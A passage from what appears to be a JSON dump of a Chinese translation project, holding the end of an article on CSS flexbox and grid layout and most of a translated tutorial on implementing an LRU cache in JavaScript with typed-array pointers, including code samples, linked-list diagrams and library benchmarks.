弹性布局（Flexbox）\n\n弹性布局是一种使用 CSS 来呈现内容的现代化布局方式。相对于之前的 `float` 浮动布局（或者五分钟前的瞎蒙乱撞），它简单很多。它拥有 [很好的浏览器兼容性](https://caniuse.com/#search=flexbox) 并且十分简单地就能解决 CSS 的一些史诗级难题，比如 **垂直居中** 。\n\n看这里：\n\n想象一下如何优雅地让红色方块居中！只需要在外部的灰色块中添加三行 CSS 语句就能做到：\n\n```\ndisplay: flex;           /* turn flexbox on */\njustify-content: center; /* center horizontally */\nalign-items: center;     /* center vertically */\n```\n\n如果你在浏览器中右击外部灰色块，然后查看元素，你会发现它里面远远不止三行…… 但是多出来的那些并不负责居中红方块。增加的代码给了它一个灰色边框，让它成为一个矩形块，在文章中水平居中 （ `margin: a auto` ），底部的 margin 给了下面的文字一些空间。\n\n如果你对弹性布局感兴趣，在 CSS Tricks 有极好的 [弹性布局完整指南](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) ，强力推荐。弹性布局切实帮助我更好地运用 CSS，它也是我现在正在研究解决布局问题的工具。\n\n### CSS 网格布局\n\n网格布局是一种更加现代化的布局方式，它比弹性布局更加强大。前者能解决二维（行和列）上的布局，后者更擅长解决单一的行或者列上的布局。它在浏览器兼容上 [表现良好](https://caniuse.com/#feat=css-grid) 。CSS Tricks 上这样说道：\n\n> 从 2017 年 3 月起，绝大多数的浏览器在应用网格布局时已无需添加任何前缀，比如：Chrome （包括 Android）、Firefox、Safari（包括 iOS）以及 Opera。IE 10 和 11 也支持它，但是它基于一种过时的语法来实现的。网格布局的时代来临了！\n\n在我写这篇文章的时候，我仅仅只在排版上尝试过网格布局。它比弹性布局更强大，也更复杂。我发现绝大部分情况弹性布局已经能很好地满足我的需求。网格布局是我下一步要学习的目标。\n\n有兴趣了解更多地话，可以阅读 CSS Tricks 中的 [网格布局完整指南](https://css-tricks.com/snippets/css/complete-guide-grid/)\n\n### 更具操作性的方法\n\n解决 CSS 问题有大量的有用策略。尽可能避免随机乱猜或者直接从 StackOverflow 上复制粘贴来完成任务。\n\n尝试一种更加靠谱的方式吧。\n\n*   定位元素（弹性、网格，大不了在相对定位的父元素中绝对定位子元素）\n*   设置元素的 margin 和 padding 的值\n*   设置边框\n*   设置一种背景颜色\n*   然后 [完善细节](http://knowyourmeme.com/memes/how-to-draw-an-owl) —— 增加阴影、设置 :hover/:active/:focus 下的调整样式等等。\n\n![完善细节](https://daveceddia.com/images/draw-an-owl.jpg)\n\n总而言之，软件工程中的经典法则比如 [DRY (Don’t Repeat Yourself)](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) 以及 [Law of Demeter](https://en.wikipedia.org/wiki/Law_of_Demeter) 都可以应用到样式布局中来。举个例子，思考一下如何结合头像布局用户信息：\n\n![用户头像信息布局](https://daveceddia.com/images/css-layout-dry-example.png)\n\n我们发现每个元素都距离边缘 20 像素，那么一种实现方法就是两个元素都设置 `margin` 值为 `20px`。\n\n但是这样做有缺点。首先，重复问题：如果说 margin 值需要改变，那么我们需要在两处修改。\n\n其次，相对于内部元素自己决定与边缘的距离，这难道不应该是外部盒子的职责吗？\n\n一个更好的解决方式是外部盒子设置其 `padding` 值为 `20px`，这样一来，内部元素就不用操心自己的位置了。这样也方便添加新的元素到盒子中 —— 你不用显式声明每个元素的位置\n\n这仅仅是一个小例子，用来明确一点：思考问题加上有逻辑的方法能够让布局变得简单得多。\n\n## 实践步骤\n\n1.  找到三个布局样式，复制下来。这些可以是你在使用的站点的小组件（单个推文、一个相册卡等等），也可以是现实内容比如信用卡、书籍封面等等。\n2.  阅读 [弹性布局完整手册](https://css-tricks.com/snippets/css/a-guide-to-flexbox/).\n3.  使用弹性布局去实现你在步骤一中挑选的布局。\n\n- [欢迎在推特上关注我 @dceddia](https://twitter.com/intent/follow?screen_name=dceddia)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lru-cache.md",
    "content": "> * 原文地址：[Implementing an efficient LRU cache in JavaScript](https://yomguithereal.github.io/posts/lru-cache)\n> * 原文作者：[Yomguithereal](https://github.com/Yomguithereal)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lru-cache.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lru-cache.md)\n> * 译者：[hanxiaosss](https://github.com/hanxiaosss)\n> * 校对者：[TokenJan](https://github.com/TokenJan), [shixi-li](https://github.com/shixi-li)\n\n# 使用 JavaScript 实现一个高效的 LRU 缓存  \n\n> 如何利用 JavaScript 类型化数组的强大功能，为固定容量的数据结构设计自己的低成本指针系统\n\n假设我们需要处理一个非常大（比如几百 GB）的 csv 文件，其中包含需要下载的 url。  \n为了确保我们在解析整个文件的时候不会耗尽内存，我们逐行的读取这个文件：\n\n```js\ncsv.forEachLine(line => {\n  download(line.url);\n});\n```\n\n现在假设创建这个文件的人忘记删除重复的 url。\n\n> 我知道使用 `sort -u` 可以很容易解决，但这不是重点。\n> 去重 url 可能并不像它看起来那么简单。比如你可以查看 python 中的 [ural](https://github.com/medialab/ural#readme) 库，了解这方面可以实现的一些示例。\n\n这是一个问题，因为我们并不想多次获取同一个 url：从网页获取资源是耗时的并且我们需要做到尽量简洁以避免我们对获取资源的站点发出过多的请求。\n\n一个显而易见的解决方案是记住我们已经获取过的 url 缓存在一个 map 里面：\n\n```js\nconst done = new Map();\n\ncsv.forEachLine(line => {\n  if (done.has(line.url))\n    return done.get(line.url);\n\n  const result = download(line.url);\n  done.set(line.url, result);\n});\n```\n\n此时，精明的读者会注意到，我们刚刚放弃了逐行读取 csv 文件的意图，因为现在我们需要将它的所有 url 提交到内存中。\n\n这就是问题所在：我们希望避免多次获取相同的 url，同时确保不会耗尽内存。我们必须找一个折中的办法。\n\n> **有趣的事实**：如果你处理来自 Internet 的数据，例如爬取的 url 列表，你将会不可避免的遇到 [power law](https://en.wikipedia.org/wiki/Power_law) 这一类的问题。这很常见，因为人们链接到 `twitter.com` 的次数指数级地多于链接到 `unknownwebsite.fr` 的次数。\n\n对我们来说幸运的是，似乎只有一小部分包含在文件中的 url 是经常重复的，其余的绝大部分 url 都只出现一两次。我们可以设计一个策略来利用这一事实，将 map 中我们觉得不太可能再次出现的 url 删除，因此，我们不允许我们的 map 超过一个我们预先设定的内存量。\n\n最常用的驱逐策略之一是 “LRU”\n\n**L**east **R**ecently **U**sed.\n\n## LRU 缓存\n\n因此，我们理解 LRU 缓存是一个固定容量的 map，可以根据以下方式将键值进行绑定：如果缓存是满的我们仍需要插入一个新的元素，我们将通过删除最近最少使用的元素来腾出空间。\n\n这样一来，缓存需要以最后访问的顺序存储给定的项。因此，每次有人试图设置一个新的键，或者访问一个新的键，我们都要修改底层的列表以确保维护我们所需的顺序。\n\n> **注意**：LFU(LFU (最不经常使用)) 是一个完全有效的缓存驱逐策略，只是没有那么普遍，你可以点击 [这里](https://en.wikipedia.org/wiki/Cache_replacement_policies#Least-frequently_used_(LFU)) 阅读相关资料，也可以在 [这里](https://www.geeksforgeeks.org/lfu-least-frequently-used-cache-implementation/) 找到实现笔记\n\n但是为什么是这个顺序至关重要呢？难道不是记录下每项元素被访问的次数以便我们清除最近最少使用的元素更好一些吗？\n\n不一定，下面是一些原因：\n\n* LRU 其实是 LFU 一个很好的替代品，因为对一个键值对访问得越频繁，它被清除的几率就越小。\n* 除了其他内容外，你还需要存储整数，以便跟踪该元素的访问次数。\n* 按照最后访问顺序排列元素非常直观，因为它可以与缓存上的操作同步。\n* LFU 通常会强制你任意选择要清除的元素：比如，如果所有的键值对都只被访问过一次。对于 LRU，你不用做这样的抉择：你只需要清除最近最少使用的元素，这里不会存在歧义。\n\n## 实现一个 LRU 缓存\n\n实现一个有效的 LRU 缓冲有很多种方法，但是我只会着重讲在开发高层语言时你最有可能用到的方法。\n\n通常，实现一个合适的 LRU 缓存，我们需要以下两个要素：\n\n1. 一个类似于 [hashmap](https://en.wikipedia.org/wiki/Hash_table) 的数据结构，能够高效的检索与任意键相关联的值 ———— 比如字符串。在 JavaScript 中，我们可以使用 ES6 的 `Map ` 或者任何普通的对象 `{}`：记住我们的缓存与一个固定容量的键值对存储没什么不同。\n2. 一种将所有元素按最后访问顺序存储的方法。更重要的是，我们将需要有效地移动元素，这也是人们通常倾向于使用 [双向链表](https://en.wikipedia.org/wiki/Doubly_linked_list) 来实现。\n\n我们的实现至少需要可以执行下面两个操作：\n\n* `#.set`：关联值到给定的键，同时当缓存已满时清除最近最少使用的元素。\n* `#.get`：如果给定键在缓存中存在，检索与给定键关联的值，同时更新底层列表来保持 LRU 顺序。\n\n接下来是我们如何使用这样一个缓存：\n\n```js\n// 创建一个可以容纳3个元素的缓存\nconst cache = new LRUCache(3);\n\n// 添加一些元素\ncache.set(1, 'one');\ncache.set(2, 'two');\ncache.set(3, 'three');\n\n// 到目前为止，没有元素从缓存中清除\ncache.has(2);\n>>> true\n\n// 噢不！我们需要添加一个新的元素\ncache.set(4, 'four');\n\n// `1` 被清除掉了因为它是最近最少使用的键\ncache.has(1);\n>>> false\n\n// 如果我们访问 `2` ，它就不再是 LRU 的键了\ncache.get(2);\n>>> 'two'\n\n// 这意味着 `3` 将被清除\ncache.set(5, 'five');\ncache.has(3);\n>>> false\n\n// 因此我们从来不会存储超过 3 个元素\ncache.size\n>>> 3\ncache.items()\n>>> ['five', 'two', 'four']\n```\n\n## 双向链表\n\n问题：为什么我们的案例中使用一个单链表还不够？因为我们需要在我们的列表中高效的执行以下操作：\n\n- 在列表的起始位置放置一个元素\n- 在列表的任意位置将一个元素移到起始位置\n- 将列表的最后一个元素移除同时保持新产生的最后一个元素的指针正确\n\n为了能够实现一个 LRU 缓存，我们需要实现一个双向链表来确保我们可以按照最后访问顺序来存储所有元素：以最近使用的元素起始并且以最近最少使用的元素结束。\n\n> 请注意，可能正好相反，列表的方向并不重要。\n\n所以我们如何在内存中表示一个双向链表？通常，我们通过创建一个节点结构包含：\n\n1. 一个有效荷载，也就是实际要存储的值或者元素。它可以是任意类型，从字符串到整型……\n2. 列表中指向前一个元素的指针。\n3. 列表中指向下一个元素的指针。\n\n然后我们也需要存储列表第一个和最后一个元素的指针。这样就完成了。\n\n> 如果你不太确定什么是指针，那么现在可能是复习 [指针](https://en.wikipedia.org/wiki/Pointer_(computer_programming)) 的好时机。\n\n如下图，它看起来是这样的：\n\n```c\n节点的结构：\n\n  (prev|payload|next)\n\n  payload：字符串型，存储的值\n  prev：指向前一个元素的指针\n  next：指向下一个元素的指针\n  •: 指针\n  x: null 空指针\n\n链表结构：\n\n       ┌─────>┐   ┌───────>┐   ┌────────>┐\n  head • (x|\"one\"|•)  (•|\"two\"|•)  (•|\"three\"|x) • tail\n              └<───────┘   └<───────┘    └<──────┘\n```\n\n## LRU 缓存列表操作\n\n只要缓存没有满，维护我们获取的元素列表是非常简单的，我们只需要在列表前插入一个新添加的元素：\n\n```c\n1. 一个容量为3 的空缓存\n\n\n  head x     x tail\n\n\n2. 插入为 “one” 的键\n\n       ┌─────>┐\n  head • (x|\"one\"|x) • tail\n              └<─────┘\n\n3. 插入为 “two” 的键 (注意 “two” 如何插入到链表前面)\n\n       ┌─────>┐   ┌───────>┐\n  head • (x|\"two\"|•)  (•|\"one\"|x) • tail\n              └<───────┘   └<─────┘\n\n4. 最后我们插入为 “three” 的键\n\n       ┌──────>┐    ┌───────>┐   ┌───────>┐\n  head • (x|\"three\"|•)  (•|\"two\"|•)  (•|\"one\"|x) • tail\n               └<────────┘   └<───────┘   └<─────┘\n```\n\n到目前为止一切顺利。现在，为了将我们的列表保持在 LRU 的顺序，如果任何人访问已经存储在缓存中的键，我们就需要将访问的键移动到列表的起始位置来重新排序：\n\n```c\n1. 我们的缓存目前的状态\n\n       ┌──────>┐    ┌───────>┐   ┌───────>┐\n  head • (x|\"three\"|•)  (•|\"two\"|•)  (•|\"one\"|x) • tail\n               └<────────┘   └<───────┘   └<─────┘\n\n2. 访问 \"two\" 键，我们先将该元素从列表中提取出来\n并将它的前一个元素和后一个元素重新链接起来。\n\n  提取：(x|\"two\"|x)\n\n       ┌──────>┐    ┌───────>┐\n  head • (x|\"three\"|•)  (•|\"one\"|x) • tail\n               └<────────┘   └<─────┘\n\n3. 然后将它移至最前面\n\n       ┌─────>┐   ┌────────>┐    ┌───────>┐\n  head • (x|\"two\"|•)  (•|\"three\"|•)  (•|\"one\"|x) • tail\n              └<───────┘    └<────────┘   └<─────┘\n```\n\n注意每次我们都需要更新头指针，以及有时我们也需要更新尾指针。\n\n最后，如果这个缓存已经满了，一个未知的键需要被插入，所以我们需要把列表中最后一项元素移出以为新的元素腾出空间。\n\n```c\n1. 当前的缓存状态是这样的\n\n       ┌─────>┐   ┌────────>┐    ┌───────>┐\n  head • (x|\"two\"|•)  (•|\"three\"|•)  (•|\"one\"|x) • tail\n              └<───────┘    └<────────┘   └<─────┘\n\n2. 这时我们需要插入一个键为 “six” 的元素，但是缓存已经满了\n   我们需要将作为 LRU 元素的 “one” 删除\n\n  移除：(x|\"one\"|x)\n\n       ┌─────>┐   ┌────────>┐\n  head • (x|\"two\"|•)  (•|\"three\"|•) • tail\n              └<───────┘    └<──────┘\n\n3. 然后将新元素插到前面\n       ┌─────>┐   ┌───────>┐   ┌────────>┐\n  head • (x|\"six\"|•)  (•|\"two\"|•)  (•|\"three\"|x) • tail\n              └<───────┘   └<───────┘    └<──────┘\n```\n\n以上是实现一个好的 LRU 缓存我们所需要了解的有关双向链表的知识。\n\n## 使用 JavaScript 实现一个双向链表\n\n现在有一个小问题：JavaScript 语言本身没有指针。事实上我们只能通过传递引用来解决，通过访问对象属性来取消传递指针。\n\n这意味着人们通常通过在 JavaScript 中写像下面的类来实现链表：\n\n```js\n//节点的类构造函数\nfunction Node(value) {\n  this.value = value;\n  this.previous = null;\n  this.next = null;\n}\n\n//列表的类构造函数\nfunction DoublyLinkedList() {\n  this.head = null;\n  this.tail = null;\n}\n\n//执行操作\n// 应该被包裹在列表的方法内\nconst list = new DoublyLinkedList();\n\nconst node1 = new Node('one');\nconst node2 = new Node('two');\n\nlist.head = node1;\nlist.tail = node2;\n\nnode1.next = node2;\nnode2.previous = node1;\n\n// ...\n```\n\n虽然这个方法没有什么问题，但是它仍然有一些缺点会使这种看起来类似的实现执行得不高效：\n\n1. 每次你实例化一个节点，都会为记录分配一些多余的内存。\n2. 如果列表移动的很快，比如节点被频繁的添加或者移除，将会触发垃圾回收机制导致运行变慢。\n3. 大多数时候，引擎会试图将对象优化为低级的结构，但是你却没法控制。\n4. 最后，和 `3.` 相关的，访问对象属性并不是 JavaScript 世界里最快的方式。\n\n> 这就是为什么你不会看到很多人在 JavaScript 代码的应用中使用链表。只有在特定情况下需要使用它的人才会真正用到它，比如在算法上非常出色的时候。node.js 有类似这样的实现 [这里](https://github.com/nodejs/node/blob/master/lib/internal/linkedlist.js)，并且你可以发现它应用于定时器 [这里](https://github.com/nodejs/node/blob/master/lib/internal/timers.js)。\n\n但是我们可以做到比这个更智能一点。事实上，我们可以利用链表的一个特性来提高性能：它的容量不能超过给定的数字。\n\n所以，我们不使用 JavaScript 的引用和属性作为指针，让我们使用 [Typed Arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray) 玩转我们自己的指针系统。\n\n## 自定义的指针系统\n\n类型化数组是非常简洁的 JavaScript 对象，能够代表固定容量数组，其中包含一些典型的数字类型，例如 int32 或者 float64 等等……\n\n它相当的快并且消耗很少的内存，因为被存储的元素都是静态类型的，不会受记录开销影响。\n\n下面是如何使用：\n\n```js\n// 由 256 位无符号的 16 位字节整数组成的类型化数组\nconst array = new Uint16Array(256);\n\n// 将每个索引都初始化为 0。\n// 我们可以很自然地读取/设置元素\narray[10] = 34;\narray[10];\n>>> 34\n\n// 但是这个缓存：我们不能添加一个新的元素\narray.push(45);\n>>> throw `TypeError: array.push is not a function`\n```\n\n> 而且，从概念上讲，使用 JavaScript 实例化一个类型化数组和使用 c 语言调用一个 `malloc` 相差不远，或者至少可以使用它们在两种语言中执行相同的任务。\n\n既然我们可以使用这些高性能的数组，我们为什么不使用它们实现我们自己的指针系统呢？毕竟指针也不过是映射内存块的地址。\n\n我们使用一个类型化数组作为我们的内存块，并把它的索引作为地址！现在唯一棘手的部分就是根据我们的容量正确地选择一个整数类型，以免溢出。\n\n> 如果你还不是不知道如何开发，参考这个函数 [这里](https://github.com/Yomguithereal/mnemonist/blob/7ea90e6fec46b4c2283ae88f173bfb19ead68734/utils/typed-arrays.js#L8-L54)\n\n所以，为了用 JavaScript 给我们的 LRU 缓存结构实现一个固定容量的双链表结构，我们需要下面的类型化数组：\n\n1. 一个普通的数组用来存储我们列表的有效荷载，也就是键值对。或者两个类型数组或普通数组来根据它们各自的类型分别存储键和值。比如，如果我们可以保证我们的值不超过 32 位整数，那么我们可以再一次利用类型数组完成这个任务。\n2. 一个类型化数组，它存储了一系列表示下一个指针的索引。\n3. 另一个类型化数组，它存储了一组表示上一个指针的索引。\n\n> 通常，当你需要确保索引 `0` 代表一个空值或者空指针，使用**类型化数组指针**会有一点冗余。两个巧妙地办法来规避这个问题：\n> - 你可以通过保持第一个元素为空来偏移存储值的数组，这样 `0` 索引就不会有存储任何重要内容的风险了。\n> - 你可以将索引偏移 1，但是这通常需要对索引执行一些轻量级的运算，这会使得代码看起来非常复杂，难以理解。\n> \n> 请注意，人们也使用有符号的类型数组而不是无符号 (显然就是索引不能为负数) 的类型数组的技巧来添加一个间接层：指针可以根据索引的符号表示一个或另一个不同的东西\n> 例如，有的时候会通过负的索引节约内存，将 [Trie](https://en.wikipedia.org/wiki/Trie) 中一个节点标识为叶子节点。\n\n我们的代码之后会是这样的：\n\n```js\nfunction FixedCapacityDoublyLinkedList(capacity) {\n  this.keys   = new Array(capacity);\n  this.values = new Uint8Array(capacity);\n\n  this.next = new Uint8Array(capacity);\n  this.previous = new Uint8Array(capacity);\n\n  this.head = 0;\n  this.tail = 0;\n}\n\n// 下面是之前的例子：\nconst list = new DoublyLinkedList();\n\nconst node1 = new Node('one');\nconst node2 = new Node('two');\n\nlist.head = node1;\nlist.tail = node2;\n\nnode1.next = node2;\nnode2.previous = node1;\n\n// 现在应该是这样的\nconst list = new FixedCapacityDoublyLinkedList(2);\n\n// 第一个节点\nlist.keys[0] = 'one';\nlist.values[0] = 1;\n\n// 第二个节点\nlist.keys[1] = 'two';\nlist.values[1] = 2;\n\n// 节点的写入和指针连接\nlist.next[0] = 1;\nlist.previous[1] = 0;\n\nlist.head = 0;\nlist.tail = 1;\n```\n\n这个代码看起来有一些复杂，但是现在，我们不再设置属性，而是在类型化数组中查找和设置索引。\n\n如下图所示，我们是这样做的：\n\n```c\n表示以下列表：\n\n       ┌──────>┐    ┌───────>┐   ┌───────>┐\n  head • (x|\"three\"|•)  (•|\"two\"|•)  (•|\"one\"|x) • tail\n               └<────────┘   └<───────┘   └<─────┘\n\n我们这次存储下面的索引和数组：\n\n  head     = 2\n  tail     = 0\n  capacity = 3\n  size     = 3\n\n  index       0      1       2\n  keys   = [\"one\", \"two\", \"three\"]\n  prev   = [    1,     2,       x]\n  next   = [    x,     0,       1]\n\n// x (空指针) 应该为 0 \n//但是简单起见不用考虑这么多\n```\n\n所以，如果我们使用新方案 “重新运行” [前面的例子](#lru-cache-list-operations) 所需的列表操作，我们会得到：\n\n```c\n1. 我们以一个空列表开始：\n\n  head     = x\n  tail     = x\n  capacity = 3\n  size     = 0\n\n  index       0      1      2\n  keys   = [    x,     x,     x]\n  prev   = [    x,     x,     x]\n  next   = [    x,     x,     x]\n\n2. 插入 “one”\n\n  head     = 0\n  tail     = 0\n  capacity = 3\n  size     = 1\n\n  index       0      1      2\n  keys   = [\"one\",     x,     x]\n  prev   = [    x,     x,     x]\n  next   = [    x,     x,     x]\n\n3. 插入 “two”\n\n  head     = 1\n  tail     = 0\n  capacity = 3\n  size     = 2\n\n  index       0      1      2\n  keys   = [\"one\", \"two\",     x]\n  prev   = [    1,     x,     x]\n  next   = [    x,     0,     x]\n\n4. 插入 “three”\n\n  head     = 2\n  tail     = 0\n  capacity = 3\n  size     = 3\n\n  index       0      1       2\n  keys   = [\"one\", \"two\", \"three\"]\n  prev   = [    1,     2,       x]\n  next   = [    x,     0,       1]\n\n5. 访问 “two” 并将它放到列表的前面\n   (注意只有指针改变值不变)\n\n  head     = 1\n  tail     = 0\n  capacity = 3\n  size     = 3\n\n  index       0      1       2\n  keys   = [\"one\", \"two\", \"three\"]\n  prev   = [    2,     x,       1]\n  next   = [    x,     2,       0]\n\n6. 最后插入 “six” 然后删除 “one”\n\n  head     = 0\n  tail     = 2\n  capacity = 3\n  size     = 3\n\n  index       0      1       2\n  keys   = [\"six\", \"two\", \"three\"]\n  prev   = [    1,     0,       1]\n  next   = [    x,     2,       x]\n```\n\n看起来很无聊，不是吗？\n\n但是这其实是一件好事，它意味着我们不需要过多地移动元素，我们也不创建元素，我们只需要读写数组的索引。\n\n所以为什么这种方式比我们之前讨论的那种传统的实现方式快呢？\n\n- 内存只会被分配一次，新的对象从未被实例化而旧的对象一直未被垃圾收集。<SideNote id=\"pool\"> 是的，你可以通过使用对象池临时地调整内存分配和垃圾回收。但是如果你依赖类型化数组你会发现它更快并且占用更少的内存。</SideNote>并且内存的可预测性在 LRU缓存的实现中是非常可取的。\n我们的实现中唯一的内存问题是当映射中的键的容量填满后，稍后删除其中一些键。\n- 数组索引的查找/写入都非常快是因为分配的内存大多是连续的，对于类型化数组更是如此。你不需要很大幅度的跳跃来找你需要的东西，而且缓存优化能更好的展示他们的神奇。\n- 无需过多的解释。引擎不需要对任何事情都智能，并且能够即时自如的应对非常低级的优化。\n\n## 真的值得这么麻烦吗？\n\n为了确认这一点，我尝试着实现了我刚刚描述的自定义指针系统并对其进行基准测试。\n\n所以你可以在这个 [mnemonist](https://github.com/Yomguithereal/mnemonist) 库里面看到一个基于类型化数组的 LRU 缓存实现。你也可以在 [`LRUCache`](https://yomguithereal.github.io/mnemonist/lru-cache) 查阅依赖 JavaScript 对象的实现方式，以及另一个依赖 ES6 `Map` 实现 [`LRUMap`](https://yomguithereal.github.io/mnemonist/lru-map)。\n\n你可以在 [这里](https://github.com/Yomguithereal/mnemonist/blob/master/lru-cache.js) 阅读他们的源码，然后自己决定处理索引而不是对象属性是否很混乱。\n\n然后这里是一个公共的基准测试仓库 [dominictarr/bench-lru](https://github.com/dominictarr/bench-lru) 。尽管每个基准测试并不能完全适合你的用例，但是它仍可以避免一些常见的无关引擎优化的陷阱以及其他相关问题。\n\n下面是最近一些基准测试结果，用 ops/ms (越高越好) 来表示各种典型的 LRU 缓存方法，在我 2013 年的 MacBook 上使用 node `12.6.0 `：\n\n| name                                                           | set    | get1   | update  | get2   | evict  |\n|:----------------------------------------------------------------|-------:|-------:|--------:|-------:|-------:|\n| [mnemonist-object](https://www.npmjs.com/package/mnemonist)    | 10793 | 53191 | 40486  | 56497 | 8217  |\n| [hashlru](https://npmjs.com/package/hashlru) *                 | 13860 | 14981 | 16340  | 15385 | 6959  |\n| [simple-lru-cache](https://npmjs.com/package/simple-lru-cache) | 5875  | 36697 | 28818  | 37453 | 6866  |\n| [tiny-lru](https://npmjs.com/package/tiny-lru)                 | 4378  | 36101 | 34602  | 40568 | 5626  |\n| [lru-fast](https://npmjs.com/package/lru-fast)                 | 4993  | 38685 | 38986  | 47619 | 5224  |\n| [quick-lru](https://npmjs.com/package/quick-lru) *             | 4802  | 3430  | 4958   | 3306  | 5024  |\n| [hyperlru-object](https://npmjs.com/package/hyperlru-object)   | 3831  | 12415 | 13063  | 13569 | 3019  |\n| [mnemonist-map](https://www.npmjs.com/package/mnemonist)       | 3533  | 10020 | 6072   | 6475  | 2606  |\n| [lru](https://www.npmjs.com/package/lru)                       | 3072  | 3929  | 3811   | 4654  | 2489  |\n| [secondary-cache](https://npmjs.com/package/secondary-cache)   | 2629  | 8292  | 4772   | 9699  | 2004  |\n| [js-lru](https://www.npmjs.com/package/js-lru)                 | 2903  | 6202  | 6305   | 6114  | 1661  |\n| [lru-cache](https://npmjs.com/package/lru-cache)               | 2158  | 3882  | 3857   | 3993  | 1350  |\n| [hyperlru-map](https://npmjs.com/package/hyperlru-map)         | 1757  | 4425  | 3684   | 3503  | 1289  |\n| [modern-lru](https://npmjs.com/package/modern-lru)             | 1637  | 2746  | 1934   | 2551  | 1057  |\n| [mkc](https://npmjs.com/packacge/package/mkc)                  | 1589  | 2192  | 1283   | 2092  | 999   |\n\n> 请注意，[hashlru](https://npmjs.com/package/hashlru) 和 [quick-lru](https://npmjs.com/package/quick-lru) 并不是传统的 LRU 缓存，它们仍然具有 (主要是第一个) 非常好的写性能，但读性能稍差，因为它们必须执行两个不同的 hashmap 查找。\n> 这些库的排名依据的是删除性能，因为这通常是最慢但是对于 LRU 缓存至关重要的操作。但这使得这个结果很难理解，你需要花时间去细读这个列表。\n\n你也应该在你的电脑上运行一下它，因为虽然这个排名大多是稳定的，但结果也会有不同。\n\n此外，应该注意的是，基准库提供的数组的特性不同，所以结果也不完全公平。\n\n最后，将来我们可能将内存消耗加到基准测试中，虽然在 JavaScript 中可靠的测量内存消耗并不容易，事实上我严重怀疑使用类型化数组会有助于降低任何实现的内存消耗。\n\n## 结束语\n\n现在你知道如何使用 JavaScript 类型化数组创建自己的指针系统了。这个技巧不仅限于固定容量的链表，可以被用于各种数据结构的实现问题中。\n\n> 例如，很多树状数据结构也可以从这个技巧中受益。\n\n但是和往常一样，并且这个建议代表了大部分高级语言，优化 JavaScript 就像努力眯着眼睛假装使用这种语言一样。\n\n> **类型化数组指针**技巧还远远不能适用于每一种高级语言。例如，在 python 中，如果你试图使用 `bytearray` 或者 `np.array` 复用这个技巧，你会发现性能非常糟糕。\n\n1. 有静态的类型\n2. 是低级的\n\n基本上，引擎的选择越少，优化代码就越容易。\n\n当然，这对于应用程序代码是不可取的，只有当你试图优化一些关键的东西时，才应该将这种优化级别当作目标，比如我所能想到的 LRU 缓存。\n\n> 例如 LRU 缓存对于很多存储的实现都非常重要。Web 服务器和客户端同样大量依赖于这种缓存。\n\n最后，请不要把我的话或建议太当真，优化解释性语言是出了名的棘手，JavaScript 更是糟糕，因为你得考虑 JIT 和多种引擎，例如 Gecko 或者 V8。\n\n所以，恳请您测试您的代码，因为您的具体场景可能不尽相同。\n\n祝您生活愉快!\n\n-----\n\n## 杂记\n\n### 关于删除和展开树\n\n在每一个 JavaScript 的 LRU 的实现中，唯一的阻碍的问题就是删除性能，不管是在一个对象 (使用 `delete` 关键词) 还是在一个 map 映射中 (使用 `#.delete` 方法) 删除一个键都是非常高消耗的。\n\n> 再一次，在 [hashlru](https://npmjs.com/package/hashlru) 和 [quick-lru](https://npmjs.com/package/quick-lru) 这两个库中提出了常规问题的解决方案，我强烈建议你阅读它们。\n\n似乎 (目前？) 没有办法解决这个问题，因为使用解释型语言 JavaScript 击败引擎中原生的 hashmap 的性能几乎是不可能的。\n\n> 相反，这将是非常违反直觉的，因为没有办法运行哈希算法的速度能像引擎本身那样快。\n> 我尝试实现基于树的键值关联数据结构，如 [CritBit trees](https://cr.yp.to/critbit.html)，但必须说还是无法击败 JavaScript 对象或 map 映射。\n> 您仍然可以实现这些树，以便它们在特定用例下的性能仅比原生对象低 2 到 5 倍，同时保持字典顺序。我猜这也不算太坏？\n> 自由查阅尚未归档的代码 [这里](https://github.com/Yomguithereal/mnemonist/blob/master/critbit-tree-map.js)\n\n这意味着您不可能在 JavaScript 中运行您自己的 map，比如，一个具有低消耗删除功能的固定容量映射，并且希望能够超越原生对象已经提供给您的 map。\n\n一个有趣的解决方法值得一试是使用 [splay trees](https://en.wikipedia.org/wiki/Splay_tree)。\n\n这些树是二叉搜索树的变体，支持相当高效的关联键值操作，同时非常适合 LRU 缓存，因为它们已经通过将非常频繁访问的键“展开”到其层次结构的顶部来工作。\n\n### 关于webassembly\n\n使用诸如 `webassembly` 这样大热的新东西来实现 LRU 缓存，而不是试图将底层概念硬塞进 JavaScript 高级代码中，会不会更快呢？\n\n是的。但这里有一个问题：如果您需要从 JavaScript 端使用这个实现，那么您就不走运了，因为它会非常慢。JavaScript 端与 web 程序集端之间的通信将会减慢您的速度，虽然只是一点点，但足以使这样的实现变得毫无意义。\n\n> wasm 与 JS 之间的通信被大幅的提高了，比如这个问题可以查阅 [blog post](https://hacks.mozilla.org/2018/10/calls-between-javascript-and-webassembly-are-finally-fast-%F0%9F%8E%89/)。\n> 但是，不幸的是，在从 JS 端调用热数据结构方法的同时，在 wasm 端运行热数据结构方法仍然是不够的。\n\n但是，如果您能够编写一些只在 webassembly 中运行的代码，并且不需要依赖 JavaScript 的 API，比如您将 rust 编译为 webassembly，那么在那里实现 LRU 缓存也是一个非常棒的主意。你一定会得到更好的结果。\n\n### 保存一个指针数组\n\n对于 LRU 缓存，有一个已知的技巧可以用来保存一个指针级别。这并不意味着您不再需要双链表来提高效率，但是您使用的 hashmap/dictionary 